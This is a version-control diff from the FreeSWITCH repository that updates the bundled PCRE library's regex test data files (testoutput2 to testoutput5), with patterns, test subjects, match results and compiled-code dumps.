+
+/^(a|b\g<1>c)/
+    aaaa
+ 0: a
+ 1: a
+    bacxxx
+ 0: bac
+ 1: bac
+    bbaccxxx 
+ 0: bbacc
+ 1: bbacc
+    bbbacccxx
+ 0: bbbaccc
+ 1: bbbaccc
+
+/^(a|b\g'1'c)/
+    aaaa
+ 0: a
+ 1: a
+    bacxxx
+ 0: bac
+ 1: bac
+    bbaccxxx 
+ 0: bbacc
+ 1: bbacc
+    bbbacccxx
+ 0: bbbaccc
+ 1: bbbaccc
+
+/^(a|b\g'-1'c)/
+    aaaa
+ 0: a
+ 1: a
+    bacxxx
+ 0: bac
+ 1: bac
+    bbaccxxx 
+ 0: bbacc
+ 1: bbacc
+    bbbacccxx
+ 0: bbbaccc
+ 1: bbbaccc
+
+/(^(a|b\g<-1>c))/
+    aaaa
+ 0: a
+ 1: a
+ 2: a
+    bacxxx
+ 0: bac
+ 1: bac
+ 2: bac
+    bbaccxxx 
+ 0: bbacc
+ 1: bbacc
+ 2: bbacc
+    bbbacccxx
+ 0: bbbaccc
+ 1: bbbaccc
+ 2: bbbaccc
+
+/(^(a|b\g<-1'c))/
+Failed: \g is not followed by a braced, angle-bracketed, or quoted name/number or by a plain number at offset 15
+
+/(^(a|b\g{-1}))/
+    bacxxx
+No match
+
+/(?-i:\g<name>)(?i:(?<name>a))/
+    XaaX
+ 0: aa
+ 1: a
+    XAAX 
+ 0: AA
+ 1: A
+
+/(?i:\g<name>)(?-i:(?<name>a))/
+    XaaX
+ 0: aa
+ 1: a
+    ** Failers 
+No match
+    XAAX 
+No match
+
+/(?-i:\g<+1>)(?i:(a))/
+    XaaX
+ 0: aa
+ 1: a
+    XAAX 
+ 0: AA
+ 1: A
+
+/(?=(?<regex>(?#simplesyntax)\$(?<name>[a-zA-Z_\x{7f}-\x{ff}][a-zA-Z0-9_\x{7f}-\x{ff}]*)(?:\[(?<index>[a-zA-Z0-9_\x{7f}-\x{ff}]+|\$\g<name>)\]|->\g<name>(\(.*?\))?)?|(?#simple syntax withbraces)\$\{(?:\g<name>(?<indices>\[(?:\g<index>|'(?:\\.|[^'\\])*'|"(?:\g<regex>|\\.|[^"\\])*")\])?|\g<complex>|\$\{\g<complex>\})\}|(?#complexsyntax)\{(?<complex>\$(?<segment>\g<name>(\g<indices>*|\(.*?\))?)(?:->\g<segment>)*|\$\g<complex>|\$\{\g<complex>\})\}))\{/
+
+/(?<n>a|b|c)\g<n>*/
+   abc
+ 0: abc
+ 1: a
+   accccbbb 
+ 0: accccbbb
+ 1: a
+
+/^(?+1)(?<a>x|y){0}z/
+    xzxx
+ 0: xz
+ 1: <unset>
+    yzyy 
+ 0: yz
+ 1: <unset>
+    ** Failers
+No match
+    xxz  
+No match
+
+/(\3)(\1)(a)/
+    cat
+No match
+
+/(\3)(\1)(a)/<JS>
+    cat
+ 0: a
+ 1: 
+ 2: 
+ 3: a
+    
+/TA]/
+    The ACTA] comes 
+ 0: TA]
+
+/TA]/<JS>
+Failed: ] is an invalid data character in JavaScript compatibility mode at offset 2
+
+/(?2)[]a()b](abc)/
+Failed: reference to non-existent subpattern at offset 3
+
+/(?2)[^]a()b](abc)/
+Failed: reference to non-existent subpattern at offset 3
+
+/(?1)[]a()b](abc)/
+    abcbabc
+ 0: abcbabc
+ 1: abc
+    ** Failers 
+No match
+    abcXabc
+No match
+
+/(?1)[^]a()b](abc)/
+    abcXabc
+ 0: abcXabc
+ 1: abc
+    ** Failers 
+No match
+    abcbabc
+No match
+
+/(?2)[]a()b](abc)(xyz)/
+    xyzbabcxyz
+ 0: xyzbabcxyz
+ 1: abc
+ 2: xyz
+
+/(?&N)[]a(?<N>)](?<M>abc)/
+Failed: reference to non-existent subpattern at offset 4
+
+/(?&N)[]a(?<N>)](abc)/
+Failed: reference to non-existent subpattern at offset 4
+
+/a[]b/
+Failed: missing terminating ] for character class at offset 4
+
+/a[^]b/
+Failed: missing terminating ] for character class at offset 5
+
+/a[]b/<JS>
+    ** Failers
+No match
+    ab
+No match
+
+/a[]+b/<JS>
+    ** Failers
+No match
+    ab 
+No match
+
+/a[]*+b/<JS>
+    ** Failers
+No match
+    ab 
+No match
+
+/a[^]b/<JS>
+    aXb
+ 0: aXb
+    a\nb 
+ 0: a\x0ab
+    ** Failers
+No match
+    ab  
+No match
+    
+/a[^]+b/<JS> 
+    aXb
+ 0: aXb
+    a\nX\nXb 
+ 0: a\x0aX\x0aXb
+    ** Failers
+No match
+    ab  
+No match
+
+/a(?!)+b/
+Failed: nothing to repeat at offset 5
+
+/a(*FAIL)+b/
+Failed: nothing to repeat at offset 8
+
+/(abc|pqr|123){0}[xyz]/SI
+Capturing subpattern count = 1
+No options
+No first char
+No need char
+Starting byte set: x y z 
+
+/(?(?=.*b)b|^)/CI
+Capturing subpattern count = 0
+Partial matching not supported
+Options:
+No first char
+No need char
+   adc
+--->adc
+ +0 ^       (?(?=.*b)b|^)
+ +2 ^       (?=.*b)
+ +5 ^       .*
+ +7 ^  ^    b
+ +7 ^ ^     b
+ +7 ^^      b
+ +7 ^       b
++12 ^       )
++13 ^       
+ 0: 
+   abc 
+--->abc
+ +0 ^       (?(?=.*b)b|^)
+ +2 ^       (?=.*b)
+ +5 ^       .*
+ +7 ^  ^    b
+ +7 ^ ^     b
+ +7 ^^      b
+ +8 ^ ^     )
+ +9 ^       b
+ +0  ^      (?(?=.*b)b|^)
+ +2  ^      (?=.*b)
+ +5  ^      .*
+ +7  ^ ^    b
+ +7  ^^     b
+ +7  ^      b
+ +8  ^^     )
+ +9  ^      b
++10  ^^     |
++13  ^^     
+ 0: b
+   
+/(?(?=b).*b|^d)/I
+Capturing subpattern count = 0
+Partial matching not supported
+No options
+No first char
+No need char
+
+/(?(?=.*b).*b|^d)/I
+Capturing subpattern count = 0
+Partial matching not supported
+No options
+First char at start or follows newline
+No need char
+
+/a?|b?/P
+    abc
+ 0: a
+    ** Failers
+ 0: 
+    ddd\N   
+No match: POSIX code 17: match failed
+
+/xyz/C
+  xyz 
+--->xyz
+ +0 ^       x
+ +1 ^^      y
+ +2 ^ ^     z
+ +3 ^  ^    
+ 0: xyz
+  abcxyz 
+--->abcxyz
+ +0    ^       x
+ +1    ^^      y
+ +2    ^ ^     z
+ +3    ^  ^    
+ 0: xyz
+  abcxyz\Y
+--->abcxyz
+ +0 ^          x
+ +0  ^         x
+ +0   ^        x
+ +0    ^       x
+ +1    ^^      y
+ +2    ^ ^     z
+ +3    ^  ^    
+ 0: xyz
+  ** Failers 
+No match
+  abc
+No match
+  abc\Y
+--->abc
+ +0 ^       x
+ +0  ^      x
+ +0   ^     x
+ +0    ^    x
+No match
+  abcxypqr  
+No match
+  abcxypqr\Y  
+--->abcxypqr
+ +0 ^            x
+ +0  ^           x
+ +0   ^          x
+ +0    ^         x
+ +1    ^^        y
+ +2    ^ ^       z
+ +0     ^        x
+ +0      ^       x
+ +0       ^      x
+ +0        ^     x
+ +0         ^    x
+No match
+
+/^"((?(?=[a])[^"])|b)*"$/C
+    "ab"
+--->"ab"
+ +0 ^        ^
+ +1 ^        "
+ +2 ^^       ((?(?=[a])[^"])|b)*
+ +3 ^^       (?(?=[a])[^"])
+ +5 ^^       (?=[a])
+ +8 ^^       [a]
++11 ^ ^      )
++12 ^^       [^"]
++16 ^ ^      )
++17 ^ ^      |
+ +3 ^ ^      (?(?=[a])[^"])
+ +5 ^ ^      (?=[a])
+ +8 ^ ^      [a]
++21 ^ ^      "
++18 ^ ^      b
++19 ^  ^     )
+ +3 ^  ^     (?(?=[a])[^"])
+ +5 ^  ^     (?=[a])
+ +8 ^  ^     [a]
++21 ^  ^     "
++22 ^   ^    $
++23 ^   ^    
+ 0: "ab"
+ 1: 
+
+/^"((?(?=[a])[^"])|b)*"$/
+    "ab"
+ 0: "ab"
+ 1: 
+
+/^X(?5)(a)(?|(b)|(q))(c)(d)(Y)/
+    XYabcdY
+ 0: XYabcdY
+ 1: a
+ 2: b
+ 3: c
+ 4: d
+ 5: Y
+
+/^X(?5)(a)(?|(b)|(q))(c)(d)Y/
+Failed: reference to non-existent subpattern at offset 5
+
+/^X(?&N)(a)(?|(b)|(q))(c)(d)(?<N>Y)/
+    XYabcdY
+ 0: XYabcdY
+ 1: a
+ 2: b
+ 3: c
+ 4: d
+ 5: Y
+ 
+/^X(?7)(a)(?|(b)|(q)(r)(s))(c)(d)(Y)/
+    XYabcdY
+ 0: XYabcdY
+ 1: a
+ 2: b
+ 3: <unset>
+ 4: <unset>
+ 5: c
+ 6: d
+ 7: Y
+
+/^X(?7)(a)(?|(b|(r)(s))|(q))(c)(d)(Y)/
+    XYabcdY
+ 0: XYabcdY
+ 1: a
+ 2: b
+ 3: <unset>
+ 4: <unset>
+ 5: c
+ 6: d
+ 7: Y
+
+/^X(?7)(a)(?|(b|(?|(r)|(t))(s))|(q))(c)(d)(Y)/
+    XYabcdY
+ 0: XYabcdY
+ 1: a
+ 2: b
+ 3: <unset>
+ 4: <unset>
+ 5: c
+ 6: d
+ 7: Y
+
+/ End of testinput2 /

Modified: freeswitch/branches/seven/libs/pcre/testdata/testoutput3 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/testdata/testoutput3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/testdata/testoutput3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -146,14 +146,14 @@
     >>>\xba<<< 
  0: \xBA
     
-/[[:alpha:]][[:lower:]][[:upper:]]/DLfr_FR 
+/[[:alpha:]][[:lower:]][[:upper:]]/DZLfr_FR 
 ------------------------------------------------------------------
-  0 102 Bra 0
-  3     [A-Za-z\xAA\xB5\xBA\xC0-\xD6\xD8-\xF6\xF8-\xFF]
- 36     [a-z\xB5\xDF-\xF6\xF8-\xFF]
- 69     [A-Z\xC0-\xD6\xD8-\xDE]
-102 102 Ket
-105     End
+        Bra
+        [A-Za-z\xaa\xb5\xba\xc0-\xd6\xd8-\xf6\xf8-\xff]
+        [a-z\xb5\xdf-\xf6\xf8-\xff]
+        [A-Z\xc0-\xd6\xd8-\xde]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 No options

Modified: freeswitch/branches/seven/libs/pcre/testdata/testoutput4 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/testdata/testoutput4	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/testdata/testoutput4	2009-08-09 18:53:22 UTC (rev 14472)
@@ -914,4 +914,179 @@
  0: ab
  1: ab
 
+/a*\x{100}*\w/8
+    a 
+ 0: a
+
+/\S\S/8g
+    A\x{a3}BC
+ 0: A\x{a3}
+ 0: BC
+    
+/\S{2}/8g
+    A\x{a3}BC
+ 0: A\x{a3}
+ 0: BC
+    
+/\W\W/8g
+    +\x{a3}== 
+ 0: +\x{a3}
+ 0: ==
+
+/\W{2}/8g
+    +\x{a3}== 
+ 0: +\x{a3}
+ 0: ==
+
+/\S/8g
+    \x{442}\x{435}\x{441}\x{442}
+ 0: \x{442}
+ 0: \x{435}
+ 0: \x{441}
+ 0: \x{442}
+
+/[\S]/8g
+    \x{442}\x{435}\x{441}\x{442}
+ 0: \x{442}
+ 0: \x{435}
+ 0: \x{441}
+ 0: \x{442}
+
+/\D/8g
+    \x{442}\x{435}\x{441}\x{442}
+ 0: \x{442}
+ 0: \x{435}
+ 0: \x{441}
+ 0: \x{442}
+
+/[\D]/8g
+    \x{442}\x{435}\x{441}\x{442}
+ 0: \x{442}
+ 0: \x{435}
+ 0: \x{441}
+ 0: \x{442}
+
+/\W/8g
+    \x{2442}\x{2435}\x{2441}\x{2442}
+ 0: \x{2442}
+ 0: \x{2435}
+ 0: \x{2441}
+ 0: \x{2442}
+
+/[\W]/8g
+    \x{2442}\x{2435}\x{2441}\x{2442}
+ 0: \x{2442}
+ 0: \x{2435}
+ 0: \x{2441}
+ 0: \x{2442}
+    
+/[\S\s]*/8
+    abc\n\r\x{442}\x{435}\x{441}\x{442}xyz 
+ 0: abc\x{0a}\x{0d}\x{442}\x{435}\x{441}\x{442}xyz
+
+/[\x{41f}\S]/8g
+    \x{442}\x{435}\x{441}\x{442}
+ 0: \x{442}
+ 0: \x{435}
+ 0: \x{441}
+ 0: \x{442}
+
+/.[^\S]./8g
+    abc def\x{442}\x{443}xyz\npqr
+ 0: c d
+ 0: z\x{0a}p
+
+/.[^\S\n]./8g
+    abc def\x{442}\x{443}xyz\npqr
+ 0: c d
+
+/[[:^alnum:]]/8g  
+    +\x{2442}
+ 0: +
+ 0: \x{2442}
+    
+/[[:^alpha:]]/8g 
+    +\x{2442}
+ 0: +
+ 0: \x{2442}
+    
+/[[:^ascii:]]/8g 
+    A\x{442}
+ 0: \x{442}
+    
+/[[:^blank:]]/8g 
+    A\x{442}
+ 0: A
+ 0: \x{442}
+    
+/[[:^cntrl:]]/8g 
+    A\x{442}
+ 0: A
+ 0: \x{442}
+    
+/[[:^digit:]]/8g 
+    A\x{442}
+ 0: A
+ 0: \x{442}
+    
+/[[:^graph:]]/8g 
+    \x19\x{e01ff}
+ 0: \x{19}
+ 0: \x{e01ff}
+    
+/[[:^lower:]]/8g 
+    A\x{422}
+ 0: A
+ 0: \x{422}
+    
+/[[:^print:]]/8g 
+    \x{19}\x{e01ff}
+ 0: \x{19}
+ 0: \x{e01ff}
+    
+/[[:^punct:]]/8g 
+    A\x{442}
+ 0: A
+ 0: \x{442}
+    
+/[[:^space:]]/8g 
+    A\x{442}
+ 0: A
+ 0: \x{442}
+    
+/[[:^upper:]]/8g 
+    a\x{442}
+ 0: a
+ 0: \x{442}
+    
+/[[:^word:]]/8g  
+    +\x{2442}
+ 0: +
+ 0: \x{2442}
+    
+/[[:^xdigit:]]/8g
+    M\x{442}
+ 0: M
+ 0: \x{442}
+
+/[^ABCDEFGHIJKLMNOPQRSTUVWXYZÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝÞĀĂĄĆĈĊČĎĐĒĔĖĘĚĜĞĠĢĤĦĨĪĬĮİIJĴĶĹĻĽĿŁŃŅŇŊŌŎŐŒŔŖŘŚŜŞŠŢŤŦŨŪŬŮŰŲŴŶŸŹŻŽƁƂƄƆƇƉƊƋƎƏƐƑƓƔƖƗƘƜƝƟƠƢƤƦƧƩƬƮƯƱƲƳƵƷƸƼDŽLJNJǍǏǑǓǕǗǙǛǞǠǢǤǦǨǪǬǮDZǴǶǷǸǺǼǾȀȂȄȆȈȊȌȎȐȒȔȖȘȚȜȞȠȢȤȦȨȪȬȮȰȲȺȻȽȾɁΆΈΉΊΌΎΏΑΒΓΔΕΖΗΘΙΚΛΜΝΞΟΠΡΣΤΥΦΧΨΩΪΫϒϓϔϘϚϜϞϠϢϤϦϨϪϬϮϴϷϹϺϽϾϿЀЁЂЃЄЅІЇЈЉЊЋЌЍЎЏАБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЫЬЭЮЯѠѢѤѦѨѪѬѮѰѲѴѶѸѺѼѾҀҊҌҎҐҒҔҖҘҚҜҞҠҢҤҦҨҪҬҮҰҲҴҶҸҺҼҾӀӁӃӅӇӉӋӍӐӒӔӖӘӚӜӞӠӢӤӦӨӪӬӮӰӲӴӶӸԀԂԄԆԈԊԌԎԱԲԳԴԵԶԷԸԹԺԻԼԽԾԿՀՁՂՃՄՅՆՇՈՉՊՋՌՍՎՏՐՑՒՓՔՕՖႠႡႢႣႤႥႦႧႨႩႪႫႬႭႮႯႰႱႲႳႴႵႶႷႸႹႺႻႼႽႾႿჀჁჂჃჄჅḀḂḄḆḈḊḌḎḐḒḔḖḘḚḜḞḠḢḤḦḨḪḬḮḰḲḴḶḸḺḼḾṀṂṄṆṈṊṌṎṐṒṔṖṘṚṜṞṠṢṤṦṨṪṬṮṰṲṴṶṸṺṼṾẀẂẄẆẈẊẌẎẐẒẔẠẢẤẦẨẪẬẮẰẲẴẶẸẺẼẾỀỂỄỆỈỊỌỎỐỒỔỖỘỚỜỞỠỢỤỦỨỪỬỮỰỲỴỶỸἈἉἊἋἌἍἎἏἘἙἚἛἜἝἨἩἪἫἬἭἮἯἸἹἺἻἼἽἾἿὈὉὊὋὌὍὙὛὝὟὨὩὪὫὬὭὮὯᾸᾹᾺΆῈΈῊΉῘῙῚΊῨῩῪΎῬῸΌῺΏabcdefghijklmnopqrstuvwxyzªµºßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýþÿāăąćĉċčďđēĕėęěĝğġģĥħĩīĭįıijĵķĸĺļľŀłńņňʼnŋōŏőœŕŗřśŝşšţťŧũūŭůűųŵŷźżžſƀƃƅƈƌƍƒƕƙƚƛƞơƣƥƨƪƫƭưƴƶƹƺƽƾƿdžljnjǎǐǒǔǖǘǚǜǝǟǡǣǥǧǩǫǭǯǰdzǵǹǻǽǿȁȃȅȇȉȋȍȏȑȓȕȗșțȝȟȡȣȥȧȩȫȭȯȱȳȴȵȶȷȸȹȼȿɀɐɑɒɓɔɕɖɗɘəɚɛɜɝɞɟɠɡɢɣɤɥɦɧɨɩɪɫɬɭɮɯɰɱɲɳɴɵɶɷɸɹɺɻɼɽɾɿʀʁʂʃʄʅʆʇʈʉʊʋʌʍʎʏʐʑʒʓʔʕʖʗʘʙʚʛʜʝʞʟʠʡʢʣʤʥʦʧʨʩʪʫʬʭʮʯΐάέήίΰαβγδεζηθικλμνξοπρςστυφχψωϊϋόύώϐϑϕϖϗϙϛϝϟϡϣϥϧϩϫϭϯϰϱϲϳϵϸϻϼабвгдежзийклмнопрстуфхцчшщъыьэюяѐёђѓєѕіїјљњћќѝўџѡѣѥѧѩѫѭѯѱѳѵѷѹѻѽѿҁҋҍҏґғҕҗҙқҝҟҡңҥҧҩҫҭүұҳҵҷҹһҽҿӂӄӆӈӊӌӎӑӓӕӗәӛӝӟӡӣӥӧөӫӭӯӱӳӵӷӹԁԃԅԇԉԋԍԏաբգդեզէըթժիլխծկհձղճմյնշոչպջռսվտրցւփքօֆևᴀᴁᴂᴃᴄᴅᴆᴇᴈᴉᴊᴋᴌᴍᴎᴏᴐᴑᴒᴓᴔᴕᴖᴗᴘᴙᴚᴛᴜᴝᴞᴟᴠᴡᴢᴣᴤᴥᴦᴧᴨᴩᴪᴫᵢᵣᵤᵥᵦᵧᵨᵩᵪᵫᵬᵭᵮᵯᵰᵱᵲᵳᵴᵵᵶᵷᵹᵺᵻᵼᵽᵾᵿᶀᶁᶂᶃᶄᶅᶆᶇᶈᶉᶊᶋᶌᶍᶎᶏᶐᶑᶒᶓᶔᶕᶖᶗᶘᶙᶚḁḃḅḇḉḋḍḏḑḓḕḗḙḛḝḟḡḣḥḧḩḫḭḯḱḳḵḷḹḻḽḿṁṃṅṇṉṋṍṏṑṓṕṗṙṛṝṟṡṣṥṧṩṫṭṯṱṳṵṷṹṻṽṿẁẃẅẇẉẋẍẏẑẓẕẖẗẘẙẚẛạảấầẩẫậắằẳẵặẹẻẽếềểễệỉịọỏốồổỗộớờởỡợụủứừửữựỳỵỷỹἀἁἂἃἄἅἆἇἐἑἒἓἔἕἠἡἢἣἤἥἦἧἰἱἲἳἴἵἶἷὀὁὂὃὄὅὐὑὒὓὔὕὖὗὠὡὢὣὤὥὦὧὰάὲέὴήὶίὸόὺύὼώᾀᾁᾂᾃᾄᾅᾆᾇᾐᾑᾒᾓᾔᾕᾖᾗᾠᾡᾢᾣᾤᾥᾦᾧᾰᾱᾲᾳᾴᾶᾷιῂῃῄῆῇῐῑῒΐῖῗῠῡῢΰῤῥῦῧῲῳῴῶῷⲁⲃⲅⲇⲉⲋⲍⲏⲑⲓⲕⲗⲙⲛⲝⲟⲡⲣⲥⲧⲩⲫⲭⲯⲱⲳⲵⲷⲹⲻⲽⲿⳁⳃⳅⳇⳉⳋⳍⳏⳑⳓⳕⳗⳙⳛⳝⳟⳡⳣⳤⴀⴁⴂⴃⴄⴅⴆⴇⴈⴉⴊⴋⴌⴍⴎⴏⴐⴑⴒⴓⴔⴕⴖⴗⴘⴙⴚⴛⴜⴝⴞⴟⴠⴡⴢⴣⴤⴥfffiflffifflſtstﬓﬔﬕﬖﬗ\d-_^]/8
+
+/^[^d]*?$/
+    abc
+ 0: abc
+
+/^[^d]*?$/8
+    abc
+ 0: abc
+
+/^[^d]*?$/i
+    abc
+ 0: abc
+
+/^[^d]*?$/8i
+    abc
+ 0: abc
+
+/(?i)[\xc3\xa9\xc3\xbd]|[\xc3\xa9\xc3\xbdA]/8
+
 / End of testinput4 /

Modified: freeswitch/branches/seven/libs/pcre/testdata/testoutput5 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/testdata/testoutput5	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/testdata/testoutput5	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,114 +1,105 @@
-/\x{100}/8DM
-Memory allocation (code space): 10
+/\x{100}/8DZ
 ------------------------------------------------------------------
-  0   6 Bra 0
-  3     \x{100}
-  6   6 Ket
-  9     End
+        Bra
+        \x{100}
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: utf8
 First char = 196
 Need char = 128
 
-/\x{1000}/8DM
-Memory allocation (code space): 11
+/\x{1000}/8DZ
 ------------------------------------------------------------------
-  0   7 Bra 0
-  3     \x{1000}
-  7   7 Ket
- 10     End
+        Bra
+        \x{1000}
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: utf8
 First char = 225
 Need char = 128
 
-/\x{10000}/8DM
-Memory allocation (code space): 12
+/\x{10000}/8DZ
 ------------------------------------------------------------------
-  0   8 Bra 0
-  3     \x{10000}
-  8   8 Ket
- 11     End
+        Bra
+        \x{10000}
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: utf8
 First char = 240
 Need char = 128
 
-/\x{100000}/8DM
-Memory allocation (code space): 12
+/\x{100000}/8DZ
 ------------------------------------------------------------------
-  0   8 Bra 0
-  3     \x{100000}
-  8   8 Ket
- 11     End
+        Bra
+        \x{100000}
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: utf8
 First char = 244
 Need char = 128
 
-/\x{1000000}/8DM
-Memory allocation (code space): 13
+/\x{1000000}/8DZ
 ------------------------------------------------------------------
-  0   9 Bra 0
-  3     \x{1000000}
-  9   9 Ket
- 12     End
+        Bra
+        \x{1000000}
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: utf8
 First char = 249
 Need char = 128
 
-/\x{4000000}/8DM
-Memory allocation (code space): 14
+/\x{4000000}/8DZ
 ------------------------------------------------------------------
-  0  10 Bra 0
-  3     \x{4000000}
- 10  10 Ket
- 13     End
+        Bra
+        \x{4000000}
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: utf8
 First char = 252
 Need char = 128
 
-/\x{7fffFFFF}/8DM
-Memory allocation (code space): 14
+/\x{7fffFFFF}/8DZ
 ------------------------------------------------------------------
-  0  10 Bra 0
-  3     \x{7fffffff}
- 10  10 Ket
- 13     End
+        Bra
+        \x{7fffffff}
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: utf8
 First char = 253
 Need char = 191
 
-/[\x{ff}]/8DM
-Memory allocation (code space): 10
+/[\x{ff}]/8DZ
 ------------------------------------------------------------------
-  0   6 Bra 0
-  3     \x{ff}
-  6   6 Ket
-  9     End
+        Bra
+        \x{ff}
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: utf8
 First char = 195
 Need char = 191
 
-/[\x{100}]/8DM
-Memory allocation (code space): 47
+/[\x{100}]/8DZ
 ------------------------------------------------------------------
-  0  11 Bra 0
-  3     [\x{100}]
- 11  11 Ket
- 14     End
+        Bra
+        [\x{100}]
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: utf8
@@ -125,36 +116,36 @@
     \x{100}a\x{1234}bcd
  0: \x{100}a\x{1234}
 
-/\x80/8D
+/\x80/8DZ
 ------------------------------------------------------------------
-  0   6 Bra 0
-  3     \x{80}
-  6   6 Ket
-  9     End
+        Bra
+        \x{80}
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: utf8
 First char = 194
 Need char = 128
 
-/\xff/8D
+/\xff/8DZ
 ------------------------------------------------------------------
-  0   6 Bra 0
-  3     \x{ff}
-  6   6 Ket
-  9     End
+        Bra
+        \x{ff}
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: utf8
 First char = 195
 Need char = 191
 
-/\x{0041}\x{2262}\x{0391}\x{002e}/D8
+/\x{0041}\x{2262}\x{0391}\x{002e}/DZ8
 ------------------------------------------------------------------
-  0  14 Bra 0
-  3     A\x{2262}\x{391}.
- 14  14 Ket
- 17     End
+        Bra
+        A\x{2262}\x{391}.
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: utf8
@@ -163,12 +154,12 @@
     \x{0041}\x{2262}\x{0391}\x{002e}
  0: A\x{2262}\x{391}.
     
-/\x{D55c}\x{ad6d}\x{C5B4}/D8 
+/\x{D55c}\x{ad6d}\x{C5B4}/DZ8 
 ------------------------------------------------------------------
-  0  15 Bra 0
-  3     \x{d55c}\x{ad6d}\x{c5b4}
- 15  15 Ket
- 18     End
+        Bra
+        \x{d55c}\x{ad6d}\x{c5b4}
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: utf8
@@ -177,12 +168,12 @@
     \x{D55c}\x{ad6d}\x{C5B4} 
  0: \x{d55c}\x{ad6d}\x{c5b4}
 
-/\x{65e5}\x{672c}\x{8a9e}/D8
+/\x{65e5}\x{672c}\x{8a9e}/DZ8
 ------------------------------------------------------------------
-  0  15 Bra 0
-  3     \x{65e5}\x{672c}\x{8a9e}
- 15  15 Ket
- 18     End
+        Bra
+        \x{65e5}\x{672c}\x{8a9e}
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: utf8
@@ -191,74 +182,74 @@
     \x{65e5}\x{672c}\x{8a9e}
  0: \x{65e5}\x{672c}\x{8a9e}
 
-/\x{80}/D8
+/\x{80}/DZ8
 ------------------------------------------------------------------
-  0   6 Bra 0
-  3     \x{80}
-  6   6 Ket
-  9     End
+        Bra
+        \x{80}
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: utf8
 First char = 194
 Need char = 128
 
-/\x{084}/D8
+/\x{084}/DZ8
 ------------------------------------------------------------------
-  0   6 Bra 0
-  3     \x{84}
-  6   6 Ket
-  9     End
+        Bra
+        \x{84}
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: utf8
 First char = 194
 Need char = 132
 
-/\x{104}/D8
+/\x{104}/DZ8
 ------------------------------------------------------------------
-  0   6 Bra 0
-  3     \x{104}
-  6   6 Ket
-  9     End
+        Bra
+        \x{104}
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: utf8
 First char = 196
 Need char = 132
 
-/\x{861}/D8
+/\x{861}/DZ8
 ------------------------------------------------------------------
-  0   7 Bra 0
-  3     \x{861}
-  7   7 Ket
- 10     End
+        Bra
+        \x{861}
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: utf8
 First char = 224
 Need char = 161
 
-/\x{212ab}/D8
+/\x{212ab}/DZ8
 ------------------------------------------------------------------
-  0   8 Bra 0
-  3     \x{212ab}
-  8   8 Ket
- 11     End
+        Bra
+        \x{212ab}
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Options: utf8
 First char = 240
 Need char = 171
 
-/.{3,5}X/D8
+/.{3,5}X/DZ8
 ------------------------------------------------------------------
-  0  13 Bra 0
-  3     Any{3}
-  7     Any{0,2}
- 11     X
- 13  13 Ket
- 16     End
+        Bra
+        Any{3}
+        Any{0,2}
+        X
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Partial matching not supported
@@ -269,13 +260,13 @@
  0: \x{212ab}\x{212ab}\x{212ab}\x{861}X
 
 
-/.{3,5}?/D8
+/.{3,5}?/DZ8
 ------------------------------------------------------------------
-  0  11 Bra 0
-  3     Any{3}
-  7     Any{0,2}?
- 11  11 Ket
- 14     End
+        Bra
+        Any{3}
+        Any{0,2}?
+        Ket
+        End
 ------------------------------------------------------------------
 Capturing subpattern count = 0
 Partial matching not supported
@@ -285,11 +276,9 @@
     \x{212ab}\x{212ab}\x{212ab}\x{861}
  0: \x{212ab}\x{212ab}\x{212ab}
 
-/-- These tests are here rather than in testinput4 because Perl 5.6 has --/
-/-- some problems with UTF-8 support, in the area of \x{..} where the   --/
-No match
-/-- value is < 255. It grumbles about invalid UTF-8 strings.            --/
-No match
+/-- These tests are here rather than in testinput4 because Perl 5.6 has some
+problems with UTF-8 support, in the area of \x{..} where the value is < 255. 
+It grumbles about invalid UTF-8 strings. --/
 
 /^[a\x{c0}]b/8
     \x{c0}b
@@ -329,11 +318,9 @@
 /(?<=\C)X/8
 Failed: \C not allowed in lookbehind assertion at offset 6
 
-/-- This one is here not because it's different to Perl, but because the --/
-/-- way the captured single-byte is displayed. (In Perl it becomes a --/
-No match
-/-- character, and you can't tell the difference.) --/
-No match
+/-- This one is here not because it's different to Perl, but because the way
+the captured single-byte is displayed. (In Perl it becomes a character, and you
+can't tell the difference.) --/
     
 /X(\C)(.*)/8
     X\x{1234}
@@ -345,13 +332,13 @@
  1: \x{0a}
  2: abc
     
-/^[ab]/8D
+/^[ab]/8DZ
 ------------------------------------------------------------------
-  0  37 Bra 0
-  3     ^
-  4     [ab]
